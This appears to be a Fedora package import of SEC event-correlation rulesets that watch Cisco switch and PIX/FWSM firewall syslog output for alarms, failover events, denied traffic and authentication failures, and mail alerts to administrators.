# %SNMP-5-CHASSISALARM - this rule handles the minorAlarm
#
type=pairWithWindow
continue=takeNext
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? minorAlarm\(ON\)
desc=(MINOR) $1 minor alarm reported and not cleared in three minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
continue2=takeNext
desc2=(WARNING) $1 minor alarm went on and was cleared in under three minutes
ptype2=regexp
pattern2=\d+:\d+:\d+.*?($1)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? minorAlarm\(OFF\)
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=180	

# %SNMP-5-CHASSISALARM - this rule handles the majorAlarm
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? majorAlarm\(ON\)
desc=(MINOR) $1 major alarm signaled and not cleared in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=\d+:\d+:\d+.*?($1)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? majorAlarm\(OFF\)
desc2=(WARNING) $1 major alarm went on and was cleared in under two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process power supply related events -----

# %C4K_IOSMODPORTMAN events - this one is about power supplies only 
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C4K_IOSMODPORTMAN-4-POWERSUPPLYBAD: Power Supply (\d+) has failed or been turned off
desc=(MINOR) $1 power supply $2 reported bad and event not cleared in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %C4K_IOSMODPORTMAN-6-POWERSUPPLYGOOD: Power Supply ($2) is Okay
desc2=(WARNING) $1 power supply $2 alarm went on and was cleared in under two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process neighbor down and neighbor up events -----

# %DVMRP-5-NBRDOWN
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%DVMRP-5-NBRDOWN: Neighbor (\S+) went down on (\S+)
desc=(MINOR) $1 lost DVMRP neighbor $2 on interface $3 and it did not come up in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %DVMRP-5-NBRUP: Neighbor ($2) is up on ($3)
desc2=(WARNING) $1 lost DVMRP neighbor $2 on interface $3 but id come up within two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process fan power supply failure/ok events -----

# %C6KENV-SP-4-PSFANF events - this one is about fan failures
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C6KENV-SP-4-PSFANFAILED: the fan in power supply (\d+) has failed
desc=(MINOR) $1 fan in power supply $2 was reported bad and event not cleared in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %C6KENV-SP-4-PSFANOK: the fan in power supply (\d+) is OK
desc2=(WARNING) $1 fan in power supply $2 alarm went on and was cleared in under two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process events that have not been matched by any of above rules -----

# Default match
# this rule will match anything not previously matched but allows only 
# one notification per day for each new event class seen
#
type=singleWithSuppress
ptype=regexp
pattern=(%.*?:)
desc=$1
action=pipe '$0' mail -s 'cisco event' root at example.com
window=86400


--- NEW FILE import.log ---
sec-2_5_2-1_fc11:HEAD:sec-2.5.2-1.fc11.src.rpm:1254555264


--- NEW FILE pix-general.sec ---
####################################################################
#                SEC ruleset for Cisco PIX 6.x, 7.x, FWSM 2.x
#
# Copyright (C) 2003-2009 Colin Hudler
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
####################################################################

# Process various events from PIX syslog output
# 
# TODO -- A few FWSM log lines will not match.

# Setup our variables -- not the right way to do this?  Needs tweaking for your log lines
type=Single
ptype=RegExp
pattern=^(.* [0-9].:[0-9].:[0-9].) (.*)\.yourdomain\.edu.*?%(PIX|FWSM)-[0-9]-.*?:(.*)
desc=PIXLOG $2^ $1 $4
action=event %s

# 106001
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Inbound TCP connection denied from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+).*
desc=PIX $1 TCP connection denid HAMMER $2 to $3
action=create ham1_$1; add ham1_$1 %t; add ham1_$1 %s;add ham1_$1 %s; add ham1_$1 $0; report ham1_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham1_$1
window=10
thresh=6

# 106006
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Connection denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+)
desc=PIX $1 denied by list HAMMER $2 to $3
action=create ham2_$1; add ham2_$1 %t; add ham2_$1 %s; add ham2_$1 $0; report ham2_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham2_$1
window=10
thresh=6

# 106007
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound UDP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+) due to DNS.*
desc=PIX $1 Denied inbound UDP HAMMER $2 to $3
action=create ham3_$1; add ham3_$1 %t; add ham3_$1 %s; add ham3_$1 $0; report ham3_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham3_$1
window=10
thresh=6

# 106010
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+).*
desc=PIX $1 Denied inbound HAMMER $2 to $3
action=create ham4_$1; add ham4_$1 %t; add ham4_$1 %s; add ham4_$1 $0; report ham4_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham4_$1
window=10
thresh=6

# 106012
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny IP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+), IP options.*
desc=PIX $1 Denied IP Options HAMMER $2 to $3
action=create ham5_$1; add ham5_$1 %t; add ham5_$1 %s; add ham5_$1 $0; report ham5_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham5_$1
window=10
thresh=6

# 106013
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Dropping echo request from (\d+.\d+.\d+.\d+) to PAT address 
desc=PIX $1 Echo HAMMER $2 to PAT Address
action=create ham6_$1; add ham6_$1 %t; add ham6_$1 %s; add ham6_$1 $0; report ham7_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham8_$1
window=10
thresh=6

# 106014
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound icmp src.*: (\d+.\d+.\d+.\d+) dst.*: (\d+.\d+.\d+.\d+)
desc=PIX $1 Deny inbound ICMP HAMMER $2 to $3
action=create ham9_$1; add ham9_$1 %t; add ham9_$1 %s; add ham9_$1 $0; report ham9_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham9_$1
window=10
thresh=6

# 106015
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny.*\(no connection\) from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Deny (no connection) HAMMER $2 to $3
action=create ham10_$1; add ham10_$1 %t; add ham10_$1 %s; add ham10_$1 $0; report ham10_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham10_$1
window=10
thresh=30

# 106016,106017,106020,106021,106022 is further down this list...

# 106018
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*ICMP packet type.*denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+)
desc=PIX $1 Deny ICMP type HAMMER $2 to $3
action=create ham11_$1; add ham11_$1 %t; add ham11_$1 %s; add ham11_$1 $0; report ham11_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham11_$1
window=10
thresh=6

# 106023
#Deny udp src outside:128.135.93.11/137 dst inside:128.135.211.65/137 by access-group "inward"
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+) by .*
desc=PIX $1 Deny by ACL HAMMER $2 to $3
action=create ham12_$1; add ham12_$1 %t; add ham12_$1 %s; add ham12_$1 $0; report ham12_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham12_$1
window=10
thresh=32

# This is broken... still fix? TODO
# 106001 -- Report
#type=SingleWithThreshold
#continue=takenext
#ptype=RegExp
#pattern=^PIXLOG (\S+)\^ .*(Inbound TCP connection denied from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+).*)|\
#(Connection denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+))|\
#(Deny inbound UDP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+) due to DNS)|\
#(Deny inbound.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+))|\
#(Deny IP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+), IP options)|\
#(Dropping echo request from (\d+.\d+.\d+.\d+) to PAT address)|\
#(Deny inbound icmp src.*: (\d+.\d+.\d+.\d+) dst.*: (\d+.\d+.\d+.\d+))|\
#(Deny.*\(no connection\) from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+))|\
#(ICMP packet type.*denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+))|\
#(Deny.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+) by )
#desc=PIX Conn Denied 10 times from $2
#action=create rpt_$1; add rpt_$1 %t; add rpt_$1 %s;add rpt_$1 %s; add rpt_$1 $0; report rpt_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rpt_$1
#window=10
#thresh=30

# 101002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Bad failover cable.
desc=PIX $1 Bad Failover Cable
action=create bfc_$1; add bfc_$1 %t; add bfc_$1 %s; add bfc_$1 $0; report bfc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete bfc_$1

# 101003/4
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Failover cable not connected
desc=PIX $1 Failover cable gone
action=create nfc_$1; add nfc_$1 %t; add nfc_$1 %s; add nfc_$1 $0; report nfc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete nfc_$1

# 101005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Error reading failover cable status
desc=PIX $1 Failover cable ERROR
action=create fce_$1; add fce_$1 %t; add fce_$1 %s; add fce_$1 $0; report fce_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fce_$1

# 102001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Power failure/System reload
desc=PIX $1 Peer Lost Power
action=create fpp_$1; add fpp_$1 %t; add fpp_$1 %s; add fpp_$1 $0; report fpp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fpp_$1

# 103001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*No response from other firewall
desc=PIX $1 Peer Gone Away
action=create fnp_$1; add fnp_$1 %t; add fnp_$1 %s; add fnp_$1 $0; report fnp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fnp_$1

# 103003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Other firewall network interface (\S+) failed
desc=PIX $1 Peer interface $2 died
action=create fpi_$1; add fpi_$1 %t; add fpi_$1 %s; add fpi_$1 $0; report fpi_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fpi_$1

# 103004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Other firewall reports this firewall failed
desc=PIX $1 Peer says I failed
action=create fif_$1; add fif_$1 %t; add fif_$1 %s; add fif_$1 $0; report fif_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fif_$1

# 103005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Other firewall reporting failure
desc=PIX $1 Peer reports failure
action=create fpf_$1; add fpf_$1 %t; add fpf_$1 %s; add fpf_$1 $0; report fpf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fpf_$1

# 104001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(Primary|Secondary) Switching to ACTIVE \(cause: (.*)\)
desc=PIX $1 FAILOVER! Becoming ACTIVE because $2
action=create fba_$1; add fba_$1 %t; add fba_$1 %s; add fba_$1 $0; report fba_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fba_$1

# 104002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(Primary|Secondary) Switching to STNDBY \(cause: (.*)\)
desc=PIX $1 FAILOVER! Becoming STNDBY because $2
action=create fbs_$1; add fbs_$1 %t; add fbs_$1 %s; add fsb_$1 $0; report fbs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fbs_$1

# 104003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Switching to FAILED
desc=PIX $1 IN FAILED STATE!
action=create ffs_$1; add ffs_$1 %t; add ffs_$1 %s; add ffs_$1 $0; report ffs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ffs_$1

# 104004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Switching to OK.
desc=PIX $1 Failed Unit is ok
action=create ffs_$1; add ffs_$1 %t; add ffs_$1 %s; add ffs_$1 $0; report ffs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ffs_$1

# 105005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Lost Failover communications with mate on interface
desc=PIX $1 Peer Gone Away
action=create fnp_$1; add fnp_$1 %t; add fnp_$1 %s; add fnp_$1 $0; report fnp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fnp_$1

# 105007
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Link status \'Down\' on interface (\S+).*
desc=PIX $1 interface $2 is DOWN
action=create ind_$1; add ind_$1 %t; add ind_$1 %s; add ind_$1 $0; report ind_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ind_$1

# 105011
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Failover cable communication failure
desc=PIX $1 Failver cable failed
action=create fcf_$1; add fcf_$1 %t; add fcf_$1 %s; add fcf_$1 $0; report fcf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fcf_$1

# 105021
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Standby unit failed to sync due to a locked (\S+) config. Lock held by (\S+)
desc=PIX $1 Failover Sync failed because $2 is locked by $3
action=create lck_$1; add fcf_$1 %t; add fcf_$1 %s; add lck_$1 $0; report lck_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lck_$1

# 10532
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LAN Failover interface is down
desc=PIX $1 Failover interface is down
action=create fin_$1; add fin_$1 %t; add fin_$1 %s; add fin_$1 $0; report fin_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fin_$1

# 10535
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Receive a LAN failover interface down msg from peer.
desc=PIX $1 Failover Peer reports LAN interface down
action=create fin_$1; add fin_$1 %t; add fin_$1 %s; add fin_$1 $0; report fin_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fin_$1

# 10536
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*dropped a LAN Failover command message.
desc=PIX $1 Failover Dropped a LAN packet
action=create fdr_$1; add fdr_$1 %t; add fdr_$1 %s; add fdr_$1 $0; report fdr_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fdr_$1

# 10537
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*The primary and standby units are switching back 
desc=PIX $1 Failover: primary and standby units are switching back
action=create fsw_$1; add fsw_$1 %t; add fsw_$1 %s; add fsw_$1 $0; report fsw_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fsw_$1

# 10543
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Failover interface failed
desc=PIX $1 Failover LAN Interface is down!
action=create fin_$1; add fin_$1 %t; add fin_$1 %s; add fin_$1 $0; report fin_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fin_$1

# messages from 106001 moved to top

# 106011
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound (No xlate).*
desc=PIX $1 Same-Side Traffic Attack
action=create sst_$1; add sst_$1 %t; add sst_$1 %s; add sst_$1 $0; report sst_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete sst_$1

# 106016
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny IP spoof from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+) on interface 
desc=PIX $1 IP Spoof from $2 to $3
action=create spf_$1; add spf_$1 %t; add spf_$1 %s; add spf_$1 $0; report spf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete spf_$1

# 106017
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny IP due to Land Attack from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+)
desc=PIX $1 IP LAND Attack
action=create lnd_$1; add lnd_$1 %t; add lnd_$1 %s; add lnd_$1 $0; report lnd_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lnd_$1

# 106020
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny IP teardrop fragment.*from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+)
desc=PIX $1 Teardrop Attack
action=create tdr_$1; add tdr_$1 %t; add tdr_$1 %s; add tdr_$1 $0; report tdr_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete tdr_$1

# 106021
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny.*reverse path check from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+).*
desc=PIX $1 Reverse Path Check Attack from $2 to $3
action=create rpc_$1; add rpc_$1 %t; add rpc_$1 %s; add rpc_$1 $0; report rpc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rpc_$1

# 106022
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny.*connection spoof from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+).*
desc=PIX $1 Connection Spoof Attack from $2 to $3
action=create spf_$1; add spf_$1 %t; add spf_$1 %s; add spf_$1 $0; report spf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete spf_$1

# 106024
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Access rules memory exhausted
desc=PIX $1 Out of ACL Memory!
action=create ame_$1; add ame_$1 %t; add ame_$1 %s; add ame_$1 $0; report ame_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ame_$1

# 106025/6
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Failed to determine the security context for the packet:(\S+):(\d+.\d+.\d+.\d+) (\d+.\d+.\d+.\d+) (\d+) (\d+).*
desc=PIX $1 failed getting context for vlan $2 $3:$4 to $5:$6
action=create ctx_$1; add ctx_$1 %t; add ctx_$1 %s; add ctx_$1 $0; report ctx_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ctx_$1

# 107001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*RIP auth failed from (\d+.\d+.\d+.\d+).*
desc=PIX $1 RIP Auth Attack from $2
action=create rip_$1; add rip_$1 %t; add rip_$1 %s; add rip_$1 $0; report rip_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rip_$1

# 107002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*RIP pkt failed from (\d+.\d+.\d+.\d+).*
desc=PIX $1 Invalid RIP Packet from $2
action=create rpk_$1; add rpk_$1 %t; add rpk_$1 %s; add rpk_$1 $0; report rpk_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rpk_$1

# 109003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Auth from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+\/\d+) failed \(all servers failed\).*
desc=PIX $1 All AAA Failed from $2 to $3
action=create aaa_$1; add aaa_$1 %t; add aaa_$1 %s; add aaa_$1 $0; report aaa_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete aaa_$1

# 109006/8
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(Authentication|Authorization) (failed|denied) for user \'(\S+)\' from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Auth Guessing Attack by $2 from $3 to $4
action=create brt_$1; add brt_$1 %t; add brt_$1 %s; add brt_$1 $0; report brt_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete brt_$1
window=10
thresh=6

# 109010
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Auth from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+) failed \(too many pending auths\).*
desc=PIX $1 Max Auths Reached for $2 to $3
action=create mth_$1; add mth_$1 %t; add mth_$1 %s; add mth_$1 $0; report mth_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete mth_$1

# 109017
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User at (\d+.\d+.\d+.\d+) exceeded auth proxy connection 
desc=PIX $1 $2 has opened to many proxy conns
action=create pcn_$1; add pcn_$1 %t; add pcn_$1 %s; add pcn_$1 $0; report pcn_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete pcn_$1

# 109024
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Authorization denied.*for user \'(\S+)\' from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Authorization Denied HAMMER $2 from $3 to $4
action=create uhm_$1; add uhm_$1 %t; add uhm_$1 %s; add uhm_$1 $0; report uhm_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete uhm_$1
window=10
thresh=6

# 109025
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Authorization denied \(acl=.*\) for user \'(\S+)\' from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+) on interface.*
desc=PIX $1 Authorization Denied  HAMMER $2 from $3 to $4
action=create uhm_$1; add uhm_$1 %t; add uhm_$1 %s; add uhm_$1 $0; report uhm_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete uhm_$1
window=10
thresh=6

# 111001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Begin configuration: (\d+.\d+.\d+.\d+) writing to (\S+)
desc=PIX $1 Config saved to $3 by $2
action=create sav_$1; add sav_$1 %t; add sav_$1 %s; add sav_$1 $0; report sav_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete sav_$1

# 111002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Begin configuration: (\d+.\d+.\d+.\d+) reading from (\S+)
desc=PIX $1 Config read from $3 by $2
action=create sav_$1; add sav_$1 %t; add sav_$1 %s; add sav_$1 $0; report sav_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete sav_$1

# 111003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(\d+.\d+.\d+.\d+) Erase configuration
desc=PIX $1 WRITE ERASE WAS ISSUED $2
action=create ers_$1; add ers_$1 %t; add ers_$1 %s; add ers_$1 $0; report ers_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ers_$1

# 111004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(\d+.\d+.\d+.\d+) end configuration: \[FAILED\]
desc=PIX $1 FAILED CONFIGURING $2
action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# 111008
type=Single
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User \'(\S+)\' executed the command (.*)
desc=PIX $1 $2 executed: $3
action=add CMD_REPORT $2 : $3
#create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# FIXME -- Add syslog number
# FSWM Style
type=Single
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User \'(\S+)\' executed the \'(.*)\' command.*
desc=PIX $1 $2 executed: $3
action=add CMD_REPORT $2 : $3
#action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1


# 111008
type=Single
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User (\S+) executed cmd:(.*)
desc=PIX $1 $2 executed: $3
action=add CMD_REPORT $2 : $3
#action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1
#action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# 113001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Unable to open AAA session. Session limit
desc=PIX $1 AAA Reached session limit
action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# 113005
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*AAA user authentication Rejected: reason = (.*) server = .* User = (\S+).*
desc=PIX $1 IPSEC: User Auth Attack: $2 for $3
action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1
window=10
thresh=6

# 113006
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User (\S+) locked out on exceeding number successive failed authentication attempts
desc=PIX $1 User Locked out: $2
action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# 113020
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Kerberos error : Clock skew with server (\d+.\d+.\d+.\d+).*
desc=PIX $1 User Locked out: $2
action=create cff_$1; add cff_$1 %t; add cff_$1 %s; add cff_$1 $0; report cff_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cff_$1

# Might be only 6.x
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Console Login from user at (\d+.\d+.\d+.\d+)
desc=PIX $1 Console Login from $2
action=create con_$1; add con_$1 %t; add con_$1 %s; add con_$1 $0; report con_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete con_$1

# 112001 
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*clear (finished|complete)\.
desc=PIX $1 Clear Command Executed
action=create clr_$1; add clr_$1 %t; add clr_$1 %s; add clr_$1 $0; report clr_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete clr_$1

# 199002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*[rR]eload command executed from.*(\d+.\d+.\d+.\d+)
desc=PIX $1 Reloaded by $2
